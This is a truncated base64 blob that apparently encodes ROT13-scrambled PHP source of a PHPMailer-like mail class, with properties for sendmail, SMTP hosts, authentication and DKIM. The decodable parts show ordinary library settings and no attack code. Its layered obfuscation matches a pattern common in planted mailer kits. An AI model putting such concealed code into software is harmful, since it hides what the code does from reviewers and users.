m5xZi9jdWMtcHluZmYtcm5mbGNybmZsdnBmLXBlcm5nci12cG55LXN2eXJmLWp2Z3UtY3VjLwogICAgICogQHl2YXggdWdnYzovL3h2dHhiYWZoeWcuZnIvdlBueXBlcm5nYmUvCiAgICAgKiBAaW5lIGZnZXZhdAogICAgICovCiAgICBjaG95dnAgJFZwbnkgPSAnJzsKCiAgICAvKioKICAgICAqIEd1ciBwYnpjeXJnciBwYnpjdnlycSBaVlpSIHpyZmZudHIgb2JxbC4KICAgICAqIEBucHByZmYgY2ViZ3JwZ3JxCiAgICAgKiBAaW5lIGZnZXZhdAogICAgICovCiAgICBjZWJncnBncnEgJFpWWlJPYnFsID0gJyc7CgogICAgLyoqCiAgICAgKiBHdXIgcGJ6Y3lyZ3IgcGJ6Y3Z5cnEgWlZaUiB6cmZmbnRyIHVybnFyZWYuCiAgICAgKiBAaW5lIGZnZXZhdAogICAgICogQG5wcHJmZiBjZWJncnBncnEKICAgICAqLwogICAgY2ViZ3JwZ3JxICRaVlpSVXJucXJlID0gJyc7CgogICAgLyoqCiAgICAgKiBSa2dlbiB1cm5xcmVmIGd1bmcgcGVybmdyVXJucXJlKCkgcWJyZmEnZyBzYnlxIHZhLgogICAgICogQGluZSBmZ2V2YXQKICAgICAqIEBucHByZmYgY2ViZ3JwZ3JxCiAgICAgKi8KICAgIGNlYmdycGdycSAkem52eVVybnFyZSA9ICcnOwoKICAgIC8qKgogICAgICogSmJlcS1qZW5jIGd1ciB6cmZmbnRyIG9icWwgZ2IgZ3V2ZiBhaHpvcmUgYnMgcHVuZWYuCiAgICAgKiBGcmcgZ2IgMCBnYiBhYmcgamVuYy4gTiBoZnJzaHkgaW55aHIgdXJlciB2ZiA3OCwgc2JlIEVTUDI4MjIgZnJwZ3ZiYSAyLjEuMSBwYnpjeXZuYXByLgogICAgICogQGluZSB2YWdydHJlCiAgICAgKi8KICAgIGNob3l2cCAkSmJlcUplbmMgPSAwOwoKICAgIC8qKgogICAgICogSnV2cHUgenJndWJxIGdiIGhmciBnYiBmcmFxIHpudnkuCiAgICAgKiBCY2d2YmFmOiAiem52eSIsICJmcmFxem52eSIsIGJlICJmemdjIi4KICAgICAqIEBpbmUgZmdldmF0CiAgICAgKi8KICAgIGNob3l2cCAkWm52eXJlID0gJ3pudnknOwoKICAgIC8qKgogICAgICogR3VyIGNuZ3UgZ2IgZ3VyIGZyYXF6bnZ5IGNlYnRlbnouCiAgICAgKiBAaW5lIGZnZXZhdAogICAgICovCiAgICBjaG95dnAgJEZyYXF6bnZ5ID0gJy9oZmUvZm92YS9mcmFxem52eSc7CgogICAgLyoqCiAgICAgKiBKdXJndXJlIHpudnkoKSBoZnJmIG4gc2h5eWwgZnJhcXpudnktcGJ6Y25ndm95ciBaR04uCiAgICAgKiBCYXIganV2cHUgZmhjY2JlZ2YgZnJhcXpudnknZiAiLWJ2IC1zIiBiY2d2YmFmLgogICAgICogQGluZSBvYmJ5cm5hCiAgICAgKi8KICAgIGNob3l2cCAkSGZyRnJhcXpudnlCY2d2YmFmID0gZ2VocjsKCiAgICAvKioKICAgICAqIENuZ3UgZ2IgQ1VDWm52eXJlIGN5aHR2YWYuCiAgICAgKiBIZnJzaHkgdnMgZ3VyIEZaR0MgcHluZmYgdmYgYWJnIHZhIGd1ciBDVUMgdmFweWhxciBjbmd1LgogICAgICogQGluZSBmZ2V2YXQKICAgICAqIEBxcmNlcnBuZ3JxIEZ1Ymh5cSBhYmcgb3IgYXJycXJxIGFiaiBndXJlciB2ZiBuYSBuaGdieWJucXJlLgogICAgICovCiAgICBjaG95dnAgJEN5aHR2YVF2ZSA9ICcnOwoKICAgIC8qKgogICAgICogR3VyIHJ6bnZ5IG5xcWVyZmYgZ3VuZyBuIGVybnF2YXQgcGJhc3Zlem5ndmJhIGZ1Ymh5cSBvciBmcmFnIGdiLCBueWZiIHhhYmphIG5mIGVybnEgZXJwcnZjZy4KICAgICAqIEBpbmUgZmdldmF0CiAgICAgKi8KICAgIGNob3l2cCAkUGJhc3ZlekVybnF2YXRHYiA9ICcnOwoKICAgIC8qKgogICAgICogR3VyIHViZmdhbnpyIGdiIGhmciB2YSBndXIgWnJmZm50ci1WUSB1cm5xcmUgbmFxIG5mIHFyc25oeWcgVVJZQiBmZ2V2YXQuCiAgICAgKiBWcyByemNnbCwgQ1VDWm52eXJlIG5nZ3J6Y2dmIGdiIHN2YXEgYmFyIGp2Z3UsIHZhIGJlcXJlLAogICAgICogJF9GUkVJUkVbJ0ZSRUlSRV9BTlpSJ10sIHRyZ3ViZmdhbnpyKCksIGN1Y19oYW56cignYScpLCBiZSBndXIgaW55aHIKICAgICAqICd5YnBueXViZmcueWJwbnlxYnpudmEnLgogICAgICogQGluZSBmZ2V2YXQKICAgICAqLwogICAgY2hveXZwICRVYmZnYW56ciA9ICcnOwoKICAgIC8qKgogICAgICogTmEgVlEgZ2Igb3IgaGZycSB2YSBndXIgWnJmZm50ci1WUSB1cm5xcmUuCiAgICAgKiBWcyByemNnbCwgbiBoYXZkaHIgdnEganZ5eSBvciB0cmFyZW5ncnEuCiAgICAgKiBMYmggcG5hIGZyZyBsYmhlIGJqYSwgb2hnIHZnIHpoZmcgb3IgdmEgZ3VyIHNiZXpuZyAiPHZxQHFiem52YT4iLAogICAgICogbmYgcXJzdmFycSB2YSBFU1A1MzIyIGZycGd2YmEgMy42LjQgYmUgdmcganZ5eSBvciB2dGFiZXJxLgogICAgICogQGZyciB1Z2djZjovL2diYnlmLnZyZ3MuYmV0L3VnenkvZXNwNTMyMiNmcnBndmJhLTMuNi40CiAgICAgKiBAaW5lIGZnZXZhdAogICAgICovCiAgICBjaG95dnAgJFpyZmZudHJWUSA9ICcnOwoKICAgIC8qKgogICAgICogR3VyIHpyZmZudHIgUW5nciBnYiBvciBoZnJxIHZhIGd1ciBRbmdyIHVybnFyZS4KICAgICAqIFZzIHJ6Y2dsLCBndXIgcGhlZXJhZyBxbmdyIGp2eXkgb3IgbnFxcnEuCiAgICAgKiBAaW5lIGZnZXZhdAogICAgICovCiAgICBjaG95dnAgJFpyZmZudHJRbmdyID0gJyc7CgogICAgLyoqCiAgICAgKiBGWkdDIHViZmdmLgogICAgICogUnZndXJlIG4gZnZhdHlyIHViZmdhbnpyIGJlIHpoeWd2Y3lyIGZyenZwYnliYS1xcnl2enZncnEgdWJmZ2FuenJmLgogICAgICogTGJoIHBuYSBueWZiIGZjcnB2c2wgbiBxdnNzcmVyYWcgY2JlZwogICAgICogc2JlIHJucHUgdWJmZyBvbCBoZnZhdCBndXZmIHNiZXpuZzogW3ViZmdhbnpyOmNiZWddCiAgICAgKiAoci50LiAiZnpnYzEucmtuemN5ci5wYno6MjU7ZnpnYzIucmtuemN5ci5wYnoiKS4KICAgICAqIExiaCBwbmEgbnlmYiBmY3JwdnNsIHJhcGVsY2d2YmEgZ2xjciwgc2JlIHJrbnpjeXI6CiAgICAgKiAoci50LiAiZ3lmOi8vZnpnYzEucmtuemN5ci5wYno6NTg3O2ZmeTovL2Z6Z2MyLnJrbnpjeXIucGJ6OjQ2NSIpLgogICAgICogVWJmZ2YganZ5eSBvciBnZXZycSB2YSBiZXFyZS4KICAgICAqIEBpbmUgZmdldmF0CiAgICAgKi8KICAgIGNob3l2cCAkVWJmZyA9ICd5YnBueXViZmcnOwoKICAgIC8qKgogICAgICogR3VyIHFyc25oeWcgRlpHQyBmcmVpcmUgY2JlZy4KICAgICAqIEBpbmUgdmFncnRyZQogICAgICogQEdCUUIgSnVsIHZmIGd1dmYgYXJycXJxIGp1cmEgZ3VyIEZaR0MgcHluZmYgZ254cmYgcG5lciBicyB2Zz8KICAgICAqLwogICAgY2hveXZwICRDYmVnID0gMjU7CgogICAgLyoqCiAgICAgKiBHdXIgRlpHQyBVUllCIGJzIGd1ciB6cmZmbnRyLgogICAgICogUXJzbmh5ZyB2ZiAkVWJmZ2FuenIuIFZzICRVYmZnYW56ciB2ZiByemNnbCwgQ1VDWm52eXJlIG5nZ3J6Y2dmIGdiIHN2YXEKICAgICAqIGJhciBqdmd1IGd1ciBmbnpyIHpyZ3VicSBxcmZwZXZvcnEgbm9iaXIgc2JlICRVYmZnYW56ci4KICAgICAqIEBpbmUgZmdldmF0CiAgICAgKiBAZnJyIENVQ1pudnlyZTo6JFViZmdhbnpyCiAgICAgKi8KICAgIGNob3l2cCAkVXJ5YiA9ICcnOwoKICAgIC8qKgogICAgICogSnVuZyB4dmFxIGJzIHJhcGVsY2d2YmEgZ2IgaGZyIGJhIGd1ciBGWkdDIHBiYWFycGd2YmEuCiAgICAgKiBCY2d2YmFmOiAnJywgJ2ZmeScgYmUgJ2d5ZicKICAgICAqIEBpbmUgZmdldmF0CiAgICAgKi8KICAgIGNob3l2cCAkRlpHQ0ZycGhlciA9ICcnOwoKICAgIC8qKgogICAgICogSnVyZ3VyZSBnYiByYW5veXIgR1lGIHJhcGVsY2d2YmEgbmhnYnpuZ3Zwbnl5bCB2cyBuIGZyZWlyZSBmaGNjYmVnZiB2ZywKICAgICAqIHJpcmEgdnMgYEZaR0NGcnBoZXJgIHZmIGFiZyBmcmcgZ2IgJ2d5ZicuCiAgICAgKiBPciBuam5lciBndW5nIHZhIENVQyA+PSA1LjYgZ3V2ZiBlcmRodmVyZiBndW5nIGd1ciBmcmVpcmUnZiBwcmVndnN2cG5ncmYgbmVyIGlueXZxLgogICAgICogQGluZSBvYmJ5cm5hCiAgICAgKi8KICAgIGNob3l2cCAkRlpHQ05oZ2JHWUYgPSBnZWhyOwoKICAgIC8qKgogICAgICogSnVyZ3VyZSBnYiBoZnIgRlpHQyBuaGd1cmFndnBuZ3ZiYS4KICAgICAqIEhmcmYgZ3VyIEhmcmVhbnpyIG5hcSBDbmZmamJlcSBjZWJjcmVndnJmLgogICAgICogQGluZSBvYmJ5cm5hCiAgICAgKiBAZnJyIENVQ1pudnlyZTo6JEhmcmVhbnpyCiAgICAgKiBAZnJyIENVQ1pudnlyZTo6JENuZmZqYmVxCiAgICAgKi8KICAgIGNob3l2cCAkRlpHQ05oZ3UgPSBzbnlmcjsKCiAgICAvKioKICAgICAqIEJjZ3ZiYWYgbmVlbmwgY25mZnJxIGdiIGZnZXJuel9wYmFncmtnX3Blcm5nciBqdXJhIHBiYWFycGd2YXQgaXZuIEZaR0MuCiAgICAgKiBAaW5lIG5lZW5sCiAgICAgKi8KICAgIGNob3l2cCAkRlpHQ0JjZ3ZiYWYgPSBuZWVubCgpOwoKICAgIC8qKgogICAgICogRlpHQyBoZnJlYW56ci4KICAgICAqIEBpbmUgZmdldmF0CiAgICAgKi8KICAgIGNob3l2cCAkSGZyZWFuenIgPSAnJzsKCiAgICAvKioKICAgICAqIEZaR0MgY25mZmpiZXEuCiAgICAgKiBAaW5lIGZnZXZhdAogICAgICovCiAgICBjaG95dnAgJENuZmZqYmVxID0gJyc7CgogICAgLyoqCiAgICAgKiBGWkdDIG5oZ3UgZ2xjci4KICAgICAqIEJjZ3ZiYWYgbmVyIFBFTlotWlE1LCBZQlRWQSwgQ1lOVkEsIEFHWVosIEtCTkhHVTIsIG5nZ3J6Y2dycSB2YSBndW5nIGJlcXJlIHZzIGFiZyBmY3JwdnN2cnEKICAgICAqIEBpbmUgZmdldmF0CiAgICAgKi8KICAgIGNob3l2cCAkTmhndUdsY3IgPSAnJzsKCiAgICAvKioKICAgICAqIEZaR0MgZXJueXouCiAgICAgKiBIZnJxIHNiZSBBR1laIG5oZ3UKICAgICAqIEBpbmUgZmdldmF0CiAgICAgKi8KICAgIGNob3l2cCAkRXJueXogPSAnJzsKCiAgICAvKioKICAgICAqIEZaR0MgamJleGZnbmd2YmEuCiAgICAgKiBIZnJxIHNiZSBBR1laIG5oZ3UKICAgICAqIEBpbmUgZmdldmF0CiAgICAgKi8KICAgIGNob3l2cCAkSmJleGZnbmd2YmEgPSAnJzsKCiAgICAvKioKICAgICAqIEd1ciBGWkdDIGZyZWlyZSBndnpyYmhnIHZhIGZycGJhcWYuCiAgICAgKiBRcnNuaHlnIGJzIDUgenZhaGdyZiAoMzAwZnJwKSB2ZiBzZWJ6IEVTUDI4MjEgZnJwZ3ZiYSA0LjUuMy4yCiAgICAgKiBAaW5lIHZhZ3J0cmUKICAgICAqLwogICAgY2hveXZwICRHdnpyYmhnID0gMzAwOwoKICAgIC8qKgogICAgICogRlpHQyBweW5mZiBxcm9odCBiaGdjaGcgemJxci4KICAgICAqIFFyb2h0IGJoZ2NoZyB5cmlyeS4KICAgICAqIEJjZ3ZiYWY6CiAgICAgKiAqIGAwYCBBYiBiaGdjaGcKICAgICAqICogYDFgIFBienpuYXFmCiAgICAgKiAqIGAyYCBRbmduIG5hcSBwYnp6bmFxZgogICAgICogKiBgM2AgTmYgMiBjeWhmIHBiYWFycGd2YmEgZmduZ2hmCiAgICAgKiAqIGA0YCBZYmoteXJpcnkgcW5nbiBiaGdjaGcKICAgICAqIEBpbmUgdmFncnRyZQogICAgICogQGZyciBGWkdDOjokcWJfcXJvaHQKICAgICAqLwogICAgY2hveXZwICRGWkdDUXJvaHQgPSAwOwoKICAgIC8qKgogICAgICogVWJqIGdiIHVuYXF5ciBxcm9odCBiaGdjaGcuCiAgICAgKiBCY2d2YmFmOgogICAgICogKiBgcnB1YmAgQmhnY2hnIGN5bnZhLWdya2cgbmYtdmYsIG5jY2ViY2V2bmdyIHNiZSBQWVYKICAgICAqICogYHVnenlgIEJoZ2NoZyByZnBuY3JxLCB5dmFyIG9lcm54ZiBwYmFpcmVncnEgZ2IgYDxvZT5gLCBuY2NlYmNldm5nciBzYmUgb2ViamZyZSBiaGdjaGcKICAgICAqICogYHJlZWJlX3lidGAgQmhnY2hnIGdiIHJlZWJlIHlidCBuZiBwYmFzdnRoZXJxIHZhIGN1Yy52YXYKICAgICAqCiAgICAgKiBOeWdyZWFuZ3ZpcnlsLCBsYmggcG5hIGNlYml2cXIgbiBwbnl5bm95ciBya2NycGd2YXQgZ2piIGNuZW56ZjogbiB6cmZmbnRyIGZnZXZhdCBuYXEgZ3VyIHFyb2h0IHlyaXJ5OgogICAgICogPHBicXI+CiAgICAgKiAkem52eS0+UXJvaHRiaGdjaGcgPSBzaGFwZ3ZiYSgkZmdlLCAkeXJpcnkpIHtycHViICJxcm9odCB5cmlyeSAkeXJpcnk7IHpyZmZudHI6ICRmZ2UiO307CiAgICAgKiA8L3BicXI+CiAgICAgKiBAaW5lIGZnZXZhdHxwbnl5bm95cgogICAgICogQGZyciBGWkdDOjokUXJvaHRiaGdjaGcKICAgICAqLwogICAgY2hveXZwICRRcm9odGJoZ2NoZyA9ICdycHViJzsKCiAgICAvKioKICAgICAqIEp1cmd1cmUgZ2IgeHJyYyBGWkdDIHBiYWFycGd2YmEgYmNyYSBuc2dyZSBybnB1IHpyZmZudHIuCiAgICAgKiBWcyBndXZmIHZmIGZyZyBnYiBnZWhyIGd1cmEgZ2IgcHliZnIgZ3VyIHBiYWFycGd2YmEKICAgICAqIGVyZGh2ZXJmIG5hIHJrY3l2cHZnIHBueXkgZ2IgZnpnY1B5YmZyKCkuCiAgICAgKiBAaW5lIG9iYnlybmEKICAgICAqLwogICAgY2hveXZwICRGWkdDWHJyY055dmlyID0gc255ZnI7CgogICAgLyoqCiAgICAgKiBKdXJndXJlIGdiIGZjeXZnIHpoeWd2Y3lyIGdiIG5xcWVyZmZyZiB2YWdiIHpoeWd2Y3lyIHpyZmZudHJmCiAgICAgKiBiZSBmcmFxIGd1cnogbnl5IHZhIGJhciB6cmZmbnRyLgogICAgICogQmF5bCBmaGNjYmVncnEgdmEgYHpudnlgIG5hcSBgZnJhcXpudnlgIGdlbmFmY2JlZ2YsIGFiZyB2YSBGWkdDLgogICAgICogQGluZSBvYmJ5cm5hCiAgICAgKi8KICAgIGNob3l2cCAkRnZhdHlyR2IgPSBzbnlmcjsKCiAgICAvKioKICAgICAqIEZnYmVudHIgc2JlIG5xcWVyZmZyZiBqdXJhIEZ2YXR5ckdiIHZmIHJhbm95cnEuCiAgICAgKiBAaW5lIG5lZW5sCiAgICAgKiBAR0JRQiBHdXZmIGZ1Ymh5cSBlcm55eWwgYWJnIG9yIGNob3l2cAogICAgICovCiAgICBjaG95dnAgJEZ2YXR5ckdiTmVlbmwgPSBuZWVubCgpOwoKICAgIC8qKgogICAgICogSnVyZ3VyZSBnYiB0cmFyZW5nciBJUkVDIG5xcWVyZmZyZiBiYSBmcmFxLgogICAgICogQmF5bCBuY2N5dnBub3lyIGp1cmEgZnJhcXZhdCBpdm4gRlpHQy4KICAgICAqIEB5dmF4IHVnZ2NmOi8vcmEuanZ4dmNycXZuLmJldC9qdnh2L0luZXZub3lyX3JhaXJ5YmNyX2VyZ2hlYV9jbmd1CiAgICAgKiBAeXZheCB1Z2djOi8vampqLmNiZmdzdmsuYmV0L0lSRUNfRVJOUVpSLnVnenkgQ2JmZ3N2ayBJUkVDIHZhc2IKICAgICAqIEBpbmUgb2JieXJuYQogICAgICovCiAgICBjaG95dnAgJHFiX2lyZWMgPSBzbnlmcjsKCiAgICAvKioKICAgICAqIEp1cmd1cmUgZ2Igbnl5YmogZnJhcXZhdCB6cmZmbnRyZiBqdmd1IG5hIHJ6Y2dsIG9icWwuCiAgICAgKiBAaW5lIG9iYnlybmEKICAgICAqLwogICAgY2hveXZwICROeXlialJ6Y2dsID0gc255ZnI7CgogICAgLyoqCiAgICAgKiBHdXIgcXJzbmh5ZyB5dmFyIHJhcXZhdC4KICAgICAqIEBhYmdyIEd1ciBxcnNuaHlnIGVyem52YWYgIlxhIi4gSnIgc2JlcHIgUEVZUyBqdXJlciBqciB4YWJqCiAgICAgKiAgICAgICAgdmcgemhmZyBvciBoZnJxIGl2biBmcnlzOjpQRVlTLgogICAgICogQGluZSBmZ2V2YXQKICAgICAqLwogICAgY2hveXZwICRZUiA9ICJcYSI7CgogICAgLyoqCiAgICAgKiBRWFZaIGZyeXJwZ2JlLgogICAgICogQGluZSBmZ2V2YXQKICAgICAqLwogICAgY2hveXZwICRRWFZaX2ZyeXJwZ2JlID0gJyc7CgogICAgLyoqCiAgICAgKiBRWFZaIFZxcmFndmdsLgogICAgICogSGZobnl5bCBndXIgcnpudnkgbnFxZXJmZiBoZnJxIG5mIGd1ciBmYmhlcHIgYnMgZ3VyIHJ6bnZ5LgogICAgICogQGluZSBmZ2V2YXQKICAgICAqLwogICAgY2hveXZwICRRWFZaX3ZxcmFndmdsID0gJyc7CgogICAgLyoqCiAgICAgKiBRWFZaIGNuZmZjdWVuZnIuCiAgICAgKiBIZnJxIHZzIGxiaGUgeHJsIHZmIHJhcGVsY2dycS4KICAgICAqIEBpbmUgZmdldmF0CiAgICAgKi8KICAgIGNob3l2cCAkUVhWWl9jbmZmY3VlbmZyID0gJyc7CgogICAgLyoqCiAgICAgKiBRWFZaIGZ2dGF2YXQgcWJ6bnZhIGFuenIuCiAgICAgKiBAcmtuemN5ciAncmtuemN5ci5wYnonCiAgICAgKiBAaW5lIGZnZXZhdAogICAgICovCiAgICBjaG95dnAgJFFYVlpfcWJ6bnZhID0gJyc7CgogICAgLyoqCiAgICAgKiBRWFZaIGNldmluZ3IgeHJsIHN2eXIgY25ndS4KICAgICAqIEBpbmUgZmdldmF0CiAgICAgKi8KICAgIGNob3l2cCAkUVhWWl9jZXZpbmdyID0gJyc7CgogICAgLyoqCiAgICAgKiBRWFZaIGNldmluZ3IgeHJsIGZnZXZhdC4KICAgICAqIFZzIGZyZywgZ254cmYgY2VycHJxcmFwciBiaXJlIGAkUVhWWl9jZXZpbmdyYC4KICAgICAqIEBpbmUgZmdldmF0CiAgICAgKi8KICAgIGNob3l2cCAkUVhWWl9jZXZpbmdyX2ZnZXZhdCA9ICcnOwoKICAgIC8qKgogICAgICogUG55eW9ucHggTnBndmJhIHNoYXBndmJhIGFuenIuCiAgICAgKgogICAgICogR3VyIHNoYXBndmJhIGd1bmcgdW5hcXlyZiBndXIgZXJmaHlnIGJzIGd1ciBmcmFxIHJ6bnZ5IG5wZ3ZiYS4KICAgICAqIFZnIHZmIHBueXlycSBiaGcgb2wgZnJhcSgpIHNiZSBybnB1IHJ6bnZ5IGZyYWcuCiAgICAgKgogICAgICogSW55aHIgcG5hIG9yIG5hbCBjdWMgcG55eW5veXI6IHVnZ2M6Ly9qamouY3VjLmFyZy92Zl9wbnl5bm95cgogICAgICoKICAgICAqIENuZW56cmdyZWY6CiAgICAgKiAgIG9iYnlybmEgJGVyZmh5ZyAgICAgICAgZXJmaHlnIGJzIGd1ciBmcmFxIG5wZ3ZiYQogICAgICogICBuZWVubCAgICRnYiAgICAgICAgICAgIHJ6bnZ5IG5xcWVyZmZyZiBicyBndXIgZXJwdmN2cmFnZgogICAgICogICBuZWVubCAgICRwcCAgICAgICAgICAgIHBwIHJ6bnZ5IG5xcWVyZmZyZgogICAgICogICBuZWVubCAgICRvcHAgICAgICAgICAgIG9wcCByem52eSBucXFlcmZmcmYKICAgICAqICAgZmdldmF0ICAkZmhvd3JwZyAgICAgICBndXIgZmhvd3JwZwogICAgICogICBmZ2V2YXQgICRvYnFsICAgICAgICAgIGd1ciByem52eSBvYnFsCiAgICAgKiAgIGZnZXZhdCAgJHNlYnogICAgICAgICAgcnpudnkgbnFxZXJmZiBicyBmcmFxcmUKICAgICAqIEBpbmUgZmdldmF0CiAgICAgKi8KICAgIGNob3l2cCAkbnBndmJhX3NoYXBndmJhID0gJyc7CgogICAgLyoqCiAgICAgKiBKdW5nIGdiIGNoZyB2YSBndXIgSy1abnZ5cmUgdXJucXJlLgogICAgICogQmNndmJhZjogTmEgcnpjZ2wgZmdldmF0IHNiZSBDVUNabnZ5cmUgcXJzbmh5ZywganV2Z3JmY25wciBzYmUgYWJhciwgYmUgbiBmZ2V2YXQgZ2IgaGZyCiAgICAgKiBAaW5lIGZnZXZhdAogICAgICovCiAgICBjaG95dnAgJEtabnZ5cmUgPSAnICc7CgogICAgLyoqCiAgICAgKiBKdXZwdSBpbnl2cW5nYmUgZ2IgaGZyIG9sIHFyc25oeWcganVyYSBpbnl2cW5ndmF0IHJ6bnZ5IG5xcWVyZmZyZi4KICAgICAqIFpubCBvciBuIHBueXlub3lyIGdiIHZhd3JwZyBsYmhlIGJqYSBpbnl2cW5nYmUsIG9oZyBndXJlciBuZXIgZnJpcmVueSBvaHZ5Zy12YSBpbnl2cW5nYmVmLgogICAgICogQGZyciBDVUNabnZ5cmU6OmlueXZxbmdyTnFxZXJmZigpCiAgICAgKiBAaW5lIGZnZXZhdHxwbnl5bm95cgogICAgICogQGZnbmd2cAogICAgICovCiAgICBjaG95dnAgZmduZ3ZwICRpbnl2cW5nYmUgPSAnbmhnYic7CgogICAgLyoqCiAgICAgKiBOYSB2YWZnbmFwciBicyBndXIgRlpHQyBmcmFxcmUgcHluZmYuCiAgICAgKiBAaW5lIEZaR0MKICAgICAqIEBucHByZmYgY2ViZ3JwZ3JxCiAgICAgKi8KICAgIGNlYmdycGdycSAkZnpnYyA9IGFoeXk7CgogICAgLyoqCiAgICAgKiBHdXIgbmVlbmwgYnMgJ2diJyBhbnpyZiBuYXEgbnFxZXJmZnJmLgogICAgICogQGluZSBuZWVubAogICAgICogQG5wcHJmZiBjZWJncnBncnEKICAgICAqLwogICAgY2ViZ3JwZ3JxICRnYiA9IG5lZW5sKCk7CgogICAgLyoqCiAgICAgKiBHdXIgbmVlbmwgYnMgJ3BwJyBhbnpyZiBuYXEgbnFxZXJmZnJmLgogICAgICogQGluZSBuZWVubAogICAgICogQG5wcHJmZiBjZWJncnBncnEKICAgICAqLwogICAgY2ViZ3JwZ3JxICRwcCA9IG5lZW5sKCk7CgogICAgLyoqCiAgICAgKiBHdXIgbmVlbmwgYnMgJ29wcCcgYW56cmYgbmFxIG5xcWVyZmZyZi4KICAgICAqIEBpbmUgbmVlbmwKICAgICAqIEBucHByZmYgY2ViZ3JwZ3JxCiAgICAgKi8KICAgIGNlYmdycGdycSAkb3BwID0gbmVlbmwoKTsKCiAgICAvKioKICAgICAqIEd1ciBuZWVubCBicyBlcmN5bC1nYiBhbnpyZiBuYXEgbnFxZXJmZnJmLgogICAgICogQGluZSBuZWVubAogICAgICogQG5wcHJmZiBjZWJncnBncnEKICAgICAqLwogICAgY2ViZ3JwZ3JxICRFcmN5bEdiID0gbmVlbmwoKTsKCiAgICAvKioKICAgICAqIE5hIG5lZW5sIGJzIG55eSB4dmFxZiBicyBucXFlcmZmcmYuCiAgICAgKiBWYXB5aHFyZiBueXkgYnMgJGdiLCAkcHAsICRvcHAKICAgICAqIEBpbmUgbmVlbmwKICAgICAqIEBucHByZmYgY2ViZ3JwZ3JxCiAgICAgKiBAZnJyIENVQ1pudnlyZTo6JGdiIEBmcnIgQ1VDWm52eXJlOjokcHAgQGZyciBDVUNabnZ5cmU6OiRvcHAKICAgICAqLwogICAgY2ViZ3JwZ3JxICRueXlfZXJwdmN2cmFnZiA9IG5lZW5sKCk7CgogICAgLyoqCiAgICAgKiBOYSBuZWVubCBicyBhbnpyZiBuYXEgbnFxZXJmZnJmIGRocmhycSBzYmUgaW55dnFuZ3ZiYS4KICAgICAqIFZhIGZyYXEoKSwgaW55dnEgbmFxIGFiYSBxaGN5dnBuZ3IgcmFnZXZyZiBuZXIgemJpcnEgZ2IgJG55eV9lcnB2Y3ZyYWdmCiAgICAgKiBuYXEgYmFyIGJzICRnYiwgJHBwLCBiZSAkb3BwLgogICAgICogR3V2ZiBuZWVubCB2ZiBoZnJxIGJheWwgc2JlIG5xcWVyZmZyZiBqdmd1IFZRQS4KICAgICAqIEBpbmUgbmVlbmwKICAgICAqIEBucHByZmYgY2ViZ3JwZ3JxCiAgICAgKiBAZnJyIENVQ1pudnlyZTo6JGdiIEBmcnIgQ1VDWm52eXJlOjokcHAgQGZyciBDVUNabnZ5cmU6OiRvcHAKICAgICAqIEBmcnIgQ1VDWm52eXJlOjokbnl5X2VycHZjdnJhZ2YKICAgICAqLwogICAgY2ViZ3JwZ3JxICRFcnB2Y3ZyYWdmRGhyaHIgPSBuZWVubCgpOwoKICAgIC8qKgogICAgICogTmEgbmVlbmwgYnMgZXJjeWwtZ2IgYW56cmYgbmFxIG5xcWVyZmZyZiBkaHJocnEgc2JlIGlueXZxbmd2YmEuCiAgICAgKiBWYSBmcmFxKCksIGlueXZxIG5hcSBhYmEgcWhjeXZwbmdyIHJhZ2V2cmYgbmVyIHpiaXJxIGdiICRFcmN5bEdiLgogICAgICogR3V2ZiBuZWVubCB2ZiBoZnJxIGJheWwgc2JlIG5xcWVyZmZyZiBqdmd1IFZRQS4KICAgICAqIEBpbmUgbmVlbmwKICAgICAqIEBucHByZmYgY2ViZ3JwZ3JxCiAgICAgKiBAZnJyIENVQ1pudnlyZTo6JEVyY3lsR2IKICAgICAqLwogICAgY2ViZ3JwZ3JxICRFcmN5bEdiRGhyaHIgPSBuZWVubCgpOwoKICAgIC8qKgogICAgICogR3VyIG5lZW5sIGJzIG5nZ25wdXpyYWdmLgogICAgICogQGluZSBuZWVubAogICAgICogQG5wcHJmZiBjZWJncnBncnEKICAgICAqLwogICAgY2ViZ3JwZ3JxICRuZ2ducHV6cmFnID0gbmVlbmwoKTsKCiAgICAvKioKICAgICAqIEd1ciBuZWVubCBicyBwaGZnYnogdXJucXJlZi4KICAgICAqIEBpbmUgbmVlbmwKICAgICAqIEBucHByZmYgY2ViZ3JwZ3JxCiAgICAgKi8KICAgIGNlYmdycGdycSAkUGhmZ2J6VXJucXJlID0gbmVlbmwoKTsKCiAgICAvKioKICAgICAqIEd1ciB6YmZnIGVycHJhZyBacmZmbnRyLVZRICh2YXB5aHF2YXQgbmF0aHluZSBvZW5weHJnZikuCiAgICAgKiBAaW5lIGZnZXZhdAogICAgICogQG5wcHJmZiBjZWJncnBncnEKICAgICAqLwogICAgY2ViZ3JwZ3JxICR5bmZnWnJmZm50clZRID0gJyc7CgogICAgLyoqCiAgICAgKiBHdXIgenJmZm50cidmIFpWWlIgZ2xjci4KICAgICAqIEBpbmUgZmdldmF0CiAgICAgKiBAbnBwcmZmIGNlYmdycGdycQogICAgICovCiAgICBjZWJncnBncnEgJHpyZmZudHJfZ2xjciA9ICcnOwoKICAgIC8qKgogICAgICogR3VyIG5lZW5sIGJzIFpWWlIgb2JoYXFuZWwgZmdldmF0Zi4KICAgICAqIEBpbmUgbmVlbmwKICAgICAqIEBucHByZmYgY2ViZ3JwZ3JxCiAgICAgKi8KICAgIGNlYmdycGdycSAkb2JoYXFuZWwgPSBuZWVubCgpOwoKICAgIC8qKgogICAgICogR3VyIG5lZW5sIGJzIG5pbnZ5bm95ciB5bmF0aG50cmYuCiAgICAgKiBAaW5lIG5lZW5sCiAgICAgKiBAbnBwcmZmIGNlYmdycGdycQogICAgICovCiAgICBjZWJncnBncnEgJHluYXRobnRyID0gbmVlbmwoKTsKCiAgICAvKioKICAgICAqIEd1ciBhaHpvcmUgYnMgcmVlYmVmIHJhcGJoYWdyZXJxLgogICAgICogQGluZSB2YWdydHJlCiAgICAgKiBAbnBwcmZmIGNlYmdycGdycQogICAgICovCiAgICBjZWJncnBncnEgJHJlZWJlX3BiaGFnID0gMDsKCiAgICAvKioKICAgICAqIEd1ciBGL1pWWlIgcHJlZ3ZzdnBuZ3Igc3Z5ciBjbmd1LgogICAgICogQGluZSBmZ2V2YXQKICAgICAqIEBucHByZmYgY2ViZ3JwZ3JxCiAgICAgKi8KICAgIGNlYmdycGdycSAkZnZ0YV9wcmVnX3N2eXIgPSAnJzsKCiAgICAvKioKICAgICAqIEd1ciBGL1pWWlIgeHJsIHN2eXIgY25ndS4KICAgICAqIEBpbmUgZmdldmF0CiAgICAgKiBAbnBwcmZmIGNlYmdycGdycQogICAgICovCiAgICBjZWJncnBncnEgJGZ2dG